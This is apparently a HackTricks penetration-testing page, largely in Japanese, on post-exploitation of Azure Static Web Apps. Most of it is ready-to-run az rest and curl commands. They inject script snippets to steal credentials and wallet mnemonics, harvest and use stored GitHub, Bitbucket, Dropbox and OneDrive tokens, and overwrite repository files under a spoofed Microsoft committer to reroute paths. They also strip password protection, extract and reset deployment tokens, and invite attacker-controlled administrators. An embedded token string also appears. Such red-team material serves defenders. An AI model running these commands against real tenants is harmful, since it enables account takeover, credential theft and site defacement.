Az - Static Web Apps Post Exploitation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Azure Static Web Apps

For more information about this service check:

Az - Static Web Applications

Microsoft.Web/staticSites/snippets/write

snippet を作成することで、静的ウェブページが任意の HTML コードを読み込むようにすることができます。これにより、攻撃者が web app 内に JS コードを注入し、credentials や mnemonic keys(web3 wallets 内)などの機密情報を盗む可能性があります。

次のコマンドは、常に web app に読み込まれる snippet を作成します::

az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'

設定されたサードパーティ認証情報の読み取り

As explained in the App Service section:

Az - App Services Privesc

次のコマンドを実行すると、現在のアカウントに設定されているサードパーティの認証情報を読み取ることができます。たとえば、あるGithubの認証情報が別のユーザーに設定されている場合は、別のユーザーからそのトークンにアクセスすることはできません。

az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

このコマンドは Github、Bitbucket、Dropbox および OneDrive の tokens を返します。

以下は tokens を確認するためのコマンド例です:

# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

ファイルの上書き - ルート、HTML、JSの上書き…

Github repo内のファイルを上書きすることは、AzureがGithub tokenを保持して次のようなリクエストを送信することで可能で、そのリクエストは上書きするファイルのパス、ファイルの内容、コミットメッセージを指定します。

攻撃者はこれを悪用して、基本的にweb appのコンテンツを変更して悪意のあるコンテンツを配信したり(認証情報やニーモニックキーを盗む等)、staticwebapp.config.json を上書きして特定のパスを自分たちのサーバーへリルートすることができます。

Warning

攻撃者が何らかの方法でGithub repoを侵害できた場合、Githubから直接ファイルを上書きすることも可能である点に注意してください。

curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

Microsoft.Web/staticSites/config/write

この権限があれば、次のようなリクエストを送信することで、static web app を保護している パスワードを変更したり、すべての環境の保護を解除したりすることが可能です。

# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'

Microsoft.Web/staticSites/listSecrets/action

この権限により、static app の API key deployment token を取得できます。

az rest を使用して:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

AzCLI を使用する:

az staticwebapp secrets list --name <appname> --resource-group <RG>

Then, in order to トークンを使用してアプリを更新するには、次のコマンドを実行できます。Note that this command was extracted checking how to Github Action https://github.com/Azure/static-web-apps-deploy works, as it’s the one Azure set by default to use. So the image and paarements could change in the future.

Tip

アプリをデプロイするには、https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-tokenswa ツールを使用するか、以下の手順に従ってください:

  1. リポジトリ https://github.com/staticwebdev/react-basic(またはデプロイしたい他のリポジトリ)をダウンロードし、cd react-basic を実行します。
  2. デプロイしたいコードを変更します
  3. 次のコマンドを実行してデプロイします(<api-token> を変更することを忘れないでください):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

Warning

トークンを持っていても、Deployment Authorization PolicyGithub に設定されている場合はアプリをデプロイできません。トークンを使用するには、デプロイ方法を API トークンを使う方法に変更するための権限 Microsoft.Web/staticSites/write が必要です。

Microsoft.Web/staticSites/write

この権限があれば、change the source of the static web app to a different Github repository(static web app のソースを別の Github リポジトリに変更する)ことが可能です。ただし、自動でプロビジョニングされるわけではなく、これは Github Action から行う必要があります。

しかし、Deployment Authotization PolicyGithub に設定されている場合は、update the app from the new source repository!(新しいソースリポジトリからアプリを更新する)ことが可能です。

もし Deployment Authorization Policy が Github に設定されていない場合は、同じ権限 Microsoft.Web/staticSites/write でそれを変更できます。

# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'

アプリをデプロイするための Github Action の例:

name: Azure Static Web Apps CI/CD

on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main

jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######

close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"

Microsoft.Web/staticSites/resetapikey/action

この権限により、reset the API key of the static web app が可能になり、自動的にアプリをデプロイするワークフローをDoSingする可能性があります。

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

Microsoft.Web/staticSites/createUserInvitation/action

この権限は、特定のロールを与えて static web app 内の保護されたパスへアクセスするために ユーザーへの招待を作成する ことを許可します。

ログインは /.auth/login/github(github 用)や /.auth/login/aad(Entra ID 用)などのパスにあり、ユーザーは次のコマンドで招待できます:

az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app

プルリクエスト

デフォルトでは、同一リポジトリ内のブランチからのプルリクエストは自動的にコンパイルされ、ステージング環境でビルドされます。これは、リポジトリへの書き込み権限はあるが本番ブランチのブランチ保護(通常は main)を回避できない攻撃者が、ステージングURLに悪意あるアプリのバージョンをデプロイするために悪用される可能性があります。

ステージングURLは次の形式です: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> 例: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net

Tip

デフォルトでは、外部PRはリポジトリに少なくとも1つPRをマージしていない限りワークフローが実行されないことに注意してください。攻撃者はまず有効なPRを送信してリポジトリにマージさせ、その後に悪意あるPRを送ってステージング環境に悪意あるアプリをデプロイしようとする可能性があります。 しかし、思わぬ保護があります。static web app にデプロイするデフォルトの Github Action は、デプロイ用トークンを含むシークレット(例えば secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F)へのアクセスを必要とします。たとえデプロイがIDTokenで行われる場合でもです。つまり、外部PRはこのシークレットにアクセスできず、外部PRがワークフローを変更してここに任意のトークンを置くことも、PRが承認されない限りできないため、この攻撃は実際には機能しません

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする